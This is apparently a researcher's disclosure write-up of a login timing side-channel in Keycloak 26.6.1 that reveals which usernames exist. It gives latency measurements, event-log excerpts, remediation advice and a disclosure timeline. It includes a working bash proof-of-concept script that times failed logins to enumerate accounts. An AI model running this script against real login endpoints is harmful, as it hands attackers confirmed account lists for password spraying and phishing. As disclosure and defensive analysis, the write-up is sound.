Write-up: Pre-authentication username enumeration in Keycloak via a login timing side-channel

In short. Keycloak 26.6.1 shows the same "Invalid username or password" message whether or not an account exists, yet it answers a valid username noticeably faster than one that does not. That timing gap alone lets an unauthenticated attacker list which usernames are real.

Keycloak login, wrong password for every attempt Invalid username or password shown for every username ~25 ms user_one 36 ms (not found) dave_one 15 ms (valid) dave_two 14 ms (valid) user_two 44 ms (not found) user_three 32 ms (not found) dave_three 15 ms (valid) Every attempt returns the same message But the server's response time does not Valid usernames answer faster, so timing reveals them
Average login latency over 10 attempts per username. Valid accounts cluster around 14 to 15 ms, non-existent ones around 32 to 44 ms. The UI message is identical in every case.

Background

Keycloak is a widely used open-source identity and access management server. On the standard login page a failed sign-in should reveal nothing about whether the account exists, both in what it says and in how long it takes to say it. The first half is easy and Keycloak gets it right. The second half, uniform timing, is the part that leaked here.

I verified the issue on 9 May 2026 against the official container image quay.io/keycloak/keycloak:26.6.1.

test deployment
docker run -d \
  -p 8888:8080 \
  --name keycloak-prod \
  -e "KEYCLOAK_ADMIN=admin" \
  -e "KEYCLOAK_ADMIN_PASSWORD=admin" \
  -e "KC_RUN_IN_CONTAINER=true" \
  quay.io/keycloak/keycloak:26.6.1 \
  start --http-enabled=true --hostname-strict=false --db=dev-mem

I created three valid users in the master realm (dave_one, dave_two, dave_three) and then attempted logins with wrong passwords for both these and three usernames that did not exist (user_one, user_two, user_three).

The observation: one message, two timings

Every attempt, valid username or not, produced the identical page message: "Invalid username or password." At the UI level there is nothing to distinguish the two cases. The chart at the top of this page shows the catch. The message is constant, but the time the server takes to return it is not.

Why the valid path is faster

The direction of the gap is the counterintuitive part. Password checking is usually the slow step, so one might expect valid users to be slower. Here it is the reverse. When the username belongs to a real account, that account is already resident in Keycloak's user cache, so the server resolves it immediately and fails fast on the wrong password. When the username does not exist, Keycloak falls through to a slower lookup to confirm the absence before it can report failure. The second path simply does more work, and that work is measurable from outside.

Login, wrong password username exists? cache hit -> invalid_user_credentials ~15 ms (fast) slower lookup -> user_not_found ~36 ms (slow)
Both answers look the same to the user. The valid path is served from cache and returns sooner, the unknown path does the extra lookup and returns later.

Measuring it

To separate the signal from network and session noise, the proof of concept creates the login session and extracts the form action URL before starting the clock, and times only the credential POST. It averages ten attempts per username.

average latency, 10 attempts per username
user_one    (does not exist)   avg 36 ms
dave_one    (valid)            avg 15 ms
dave_two    (valid)            avg 14 ms
user_two    (does not exist)   avg 44 ms
user_three  (does not exist)   avg 32 ms
dave_three  (valid)            avg 15 ms

The split is clean. Every valid account sits well below the non-existent ones, with a wide margin between the two groups.

Server-side evidence

The keycloak.events log confirms the two internal outcomes behind the identical UI message. A valid username fails with invalid_user_credentials, a non-existent one with user_not_found.

keycloak.events (excerpts, long fields trimmed)
type="LOGIN_ERROR" ... error="user_not_found"          ... username="user_one"
type="LOGIN_ERROR" ... error="invalid_user_credentials" ... username="dave_one"
type="LOGIN_ERROR" ... error="invalid_user_credentials" ... username="dave_two"
type="LOGIN_ERROR" ... error="user_not_found"          ... username="user_two"
type="LOGIN_ERROR" ... error="user_not_found"          ... username="user_three"
type="LOGIN_ERROR" ... error="invalid_user_credentials" ... username="dave_three"

Proof of concept

Keycloak 26.6.1 timing side-channel user enumeration
#!/bin/bash
# Keycloak 26.6.1 timing side-channel user enumeration
# Credits: David Vieira-Kurz

BASE_URL="http://localhost:8888"
REALM_NAME="master"
LOGIN_PAGE="$BASE_URL/realms/$REALM_NAME/protocol/openid-connect/auth?client_id=account&redirect_uri=$BASE_URL/realms/$REALM_NAME/account/&response_type=code&scope=openid"

# Usernames tested blindly
TEST_USERS=("dave_one" "user_one" "dave_two" "user_two" "user_three" "dave_three")
ITERATIONS=10

for user in "${TEST_USERS[@]}"; do
    total_latency=0
    for ((i=1; i<=ITERATIONS; i++)); do
        # Pre-measurement: prepare session and action URL (excluded from timing)
        FORM_DATA=$(curl -s -c session_cookies.txt "$LOGIN_PAGE")
        ACTION_URL=$(echo "$FORM_DATA" | sed -n 's/.*action="\([^"]*\)".*/\1/p' | sed 's/&amp;/\&/g')

        # Measure only the credential POST
        start_ts=$(date +%s%N)
        curl -s -o /dev/null -b session_cookies.txt -X POST "$ACTION_URL" \
             --data-urlencode "username=$user" \
             --data-urlencode "password=invalid_test_password"
        end_ts=$(date +%s%N)

        latency_ms=$(( (end_ts - start_ts) / 1000000 ))
        total_latency=$((total_latency + latency_ms))
        rm -f session_cookies.txt
    done
    avg_latency=$((total_latency / ITERATIONS))
    echo "User: $user | Average Latency: ${avg_latency}ms"
done

Impact

An unauthenticated attacker can confirm which usernames exist in a realm without ever guessing a password, purely by comparing response times. Valid accounts are the starting point for targeted password spraying, phishing and credential-stuffing, so turning "maybe" into a confirmed list is a real head start. The attack needs no special access, only the public login endpoint and a stopwatch.

Remediation

The generic error message is necessary but not sufficient. The fix is to make the two code paths indistinguishable in time as well as in text, for example by performing the same work (including a dummy credential verification against a fixed hash) whether or not the user exists, so that a missing account costs the same as a wrong password for a present one. Operators can also blunt the attack with rate limiting and brute-force detection on the login endpoint, which raises the cost of collecting enough samples to average out noise.

Disclosure

I reported this to the Keycloak security team on 10 May 2026. They responded quickly and courteously. Their position is that user enumeration is handled as a hardening matter rather than tracked as a CVE in Keycloak, and that issues of this kind are collected under an umbrella tracking issue (keycloak/keycloak#29346). They then filed a public issue for this specific report (keycloak/keycloak#48888). My thanks to the team for the friendly and professional handling.

Timeline

timeline
2026-05-09: issue verified against Keycloak 26.6.1
2026-05-10: reported to the Keycloak security team
2026-05-10: team confirmed receipt and classified it as hardening, not a CVE
2026-08-08: this write-up published

References